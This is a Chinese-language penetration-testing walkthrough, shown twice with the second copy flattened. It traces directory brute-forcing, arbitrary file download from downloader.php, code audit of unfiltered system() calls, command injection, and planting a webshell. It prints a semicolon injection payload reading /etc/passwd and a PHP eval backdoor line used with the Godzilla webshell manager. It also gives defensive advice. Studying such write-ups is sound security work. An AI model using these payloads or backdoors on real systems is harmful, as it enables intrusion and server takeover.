记一次从目录爆破到命令注入的过程
字数 1587 2025-08-11 17:39:49

从目录爆破到命令注入的渗透测试实战教学

1. 信息收集阶段

1.1 初始资产发现

  • 通过FOFA搜索引擎发现目标资产
  • 确认资产归属厂商信息
  • 初步判断目标系统为PHP站点

1.2 端口与服务扫描

  • 使用常规扫描工具(Nmap等)检查开放端口
  • 分析运行的服务类型
  • 未发现明显可利用点

1.3 Wappalyzer分析

  • 使用Wappalyzer浏览器插件识别技术栈
  • 确认网站使用PHP开发
  • 获取服务器可能的技术框架信息

2. 目录爆破阶段

2.1 字典构建

  • 根据资产和厂商信息构建定制化字典
  • 包含常见PHP文件名和路径
  • 考虑Ubuntu系统特性(因后续发现系统为Ubuntu)

2.2 工具选择与使用

  • 选用dirsearch工具进行目录扫描
  • 配置适当的线程数和超时设置
  • 发现可疑路径/downloader.php

3. 任意文件下载漏洞利用

3.1 参数模糊测试

  • 发现downloader.php需要参数才能正常访问
  • 使用Burp Suite拦截请求
  • 发送到Intruder模块进行参数fuzz测试

3.2 测试字典选择

  • 针对可能的文件读取功能构建测试用例
  • 包含常见参数名(file, path, filename等)
  • 结合Ubuntu系统特性尝试/etc/passwd读取

3.3 漏洞确认

  • 成功读取系统文件证明漏洞存在
  • 下载downloader.php自身进行代码审计

4. 代码审计与深入分析

4.1 源代码分析重点

  • 查找文件读取功能的实现逻辑
  • 确认参数过滤情况(本例中无过滤)
  • 搜索危险函数调用(system, exec等)

4.2 system函数审计

  1. 第一处system函数:

    • 参数来自内部配置文件
    • 经过escapeshellcmd过滤
    • 外部不可控
  2. 第二处system函数:

    • 初步判断不可利用
    • 快速略过继续审计其他点
  3. 第三处system函数:

    • 位于文件后缀判断分支(.zip处理)
    • $cmd参数存在拼接操作
    • 无任何过滤措施
    • $site参数外部可控

5. 命令注入漏洞利用

5.1 漏洞触发条件

  • 文件后缀必须为.zip
  • $site参数需要包含恶意命令

5.2 注入Payload构造

  • 使用分号;分隔命令
  • 基本格式: ?file=.zip&site=;要执行的命令;
  • 示例: ?file=.zip&site=;cat /etc/passwd;

5.3 漏洞验证

  • 直接通过URL构造恶意请求
  • 观察系统命令执行结果
  • 确认命令注入成功

6. 后渗透阶段

6.1 Webshell写入

  • 通过命令注入写入PHP后门
  • 命令示例: echo '<?eval($_POST["pass"]);?>' > test.php
  • 确认文件写入成功

6.2 哥斯拉连接

  • 使用哥斯拉(Godzilla)管理工具
  • 配置连接参数
  • 测试后门连接功能

7. 技术要点总结

7.1 关键漏洞链

  1. 目录爆破发现敏感端点
  2. 任意文件下载获取源代码
  3. 代码审计发现命令注入点
  4. 通过命令注入获取Webshell

7.2 重要技术点

  • 定制化字典构建技巧
  • 参数模糊测试方法论
  • PHP危险函数审计要点
  • 命令注入绕过技术
  • 后渗透基本操作流程

7.3 防御建议

  1. 对用户输入进行严格过滤
  2. 避免使用system等危险函数
  3. 禁用不必要的PHP危险函数
  4. 实施最小权限原则
  5. 定期进行代码安全审计

8. 渗透测试方法论

  1. 信息收集是基础:全面收集目标信息,为后续测试提供方向
  2. 自动化与手工结合:工具快速发现可能点,手工深入验证
  3. 漏洞链思维:一个漏洞往往是另一个漏洞的入口
  4. 持续深入:每个发现都可能通向更深层次的系统访问
  5. 文档记录:详细记录每个步骤和发现,便于回溯和分析

本教学文档完整呈现了从目录爆破到命令注入的完整渗透流程,重点突出了各阶段的技术要点和操作方法,可作为类似渗透测试场景的参考指南。

从目录爆破到命令注入的渗透测试实战教学 1. 信息收集阶段 1.1 初始资产发现 通过FOFA搜索引擎发现目标资产 确认资产归属厂商信息 初步判断目标系统为PHP站点 1.2 端口与服务扫描 使用常规扫描工具(Nmap等)检查开放端口 分析运行的服务类型 未发现明显可利用点 1.3 Wappalyzer分析 使用Wappalyzer浏览器插件识别技术栈 确认网站使用PHP开发 获取服务器可能的技术框架信息 2. 目录爆破阶段 2.1 字典构建 根据资产和厂商信息构建定制化字典 包含常见PHP文件名和路径 考虑Ubuntu系统特性(因后续发现系统为Ubuntu) 2.2 工具选择与使用 选用dirsearch工具进行目录扫描 配置适当的线程数和超时设置 发现可疑路径 /downloader.php 3. 任意文件下载漏洞利用 3.1 参数模糊测试 发现 downloader.php 需要参数才能正常访问 使用Burp Suite拦截请求 发送到Intruder模块进行参数fuzz测试 3.2 测试字典选择 针对可能的文件读取功能构建测试用例 包含常见参数名(file, path, filename等) 结合Ubuntu系统特性尝试 /etc/passwd 读取 3.3 漏洞确认 成功读取系统文件证明漏洞存在 下载 downloader.php 自身进行代码审计 4. 代码审计与深入分析 4.1 源代码分析重点 查找文件读取功能的实现逻辑 确认参数过滤情况(本例中无过滤) 搜索危险函数调用(system, exec等) 4.2 system函数审计 第一处system函数 : 参数来自内部配置文件 经过 escapeshellcmd 过滤 外部不可控 第二处system函数 : 初步判断不可利用 快速略过继续审计其他点 第三处system函数 : 位于文件后缀判断分支(.zip处理) $cmd 参数存在拼接操作 无任何过滤措施 $site 参数外部可控 5. 命令注入漏洞利用 5.1 漏洞触发条件 文件后缀必须为 .zip $site 参数需要包含恶意命令 5.2 注入Payload构造 使用分号 ; 分隔命令 基本格式: ?file=.zip&site=;要执行的命令; 示例: ?file=.zip&site=;cat /etc/passwd; 5.3 漏洞验证 直接通过URL构造恶意请求 观察系统命令执行结果 确认命令注入成功 6. 后渗透阶段 6.1 Webshell写入 通过命令注入写入PHP后门 命令示例: echo '<?eval($_POST["pass"]);?>' > test.php 确认文件写入成功 6.2 哥斯拉连接 使用哥斯拉(Godzilla)管理工具 配置连接参数 测试后门连接功能 7. 技术要点总结 7.1 关键漏洞链 目录爆破发现敏感端点 任意文件下载获取源代码 代码审计发现命令注入点 通过命令注入获取Webshell 7.2 重要技术点 定制化字典构建技巧 参数模糊测试方法论 PHP危险函数审计要点 命令注入绕过技术 后渗透基本操作流程 7.3 防御建议 对用户输入进行严格过滤 避免使用system等危险函数 禁用不必要的PHP危险函数 实施最小权限原则 定期进行代码安全审计 8. 渗透测试方法论 信息收集是基础 :全面收集目标信息,为后续测试提供方向 自动化与手工结合 :工具快速发现可能点,手工深入验证 漏洞链思维 :一个漏洞往往是另一个漏洞的入口 持续深入 :每个发现都可能通向更深层次的系统访问 文档记录 :详细记录每个步骤和发现,便于回溯和分析 本教学文档完整呈现了从目录爆破到命令注入的完整渗透流程,重点突出了各阶段的技术要点和操作方法,可作为类似渗透测试场景的参考指南。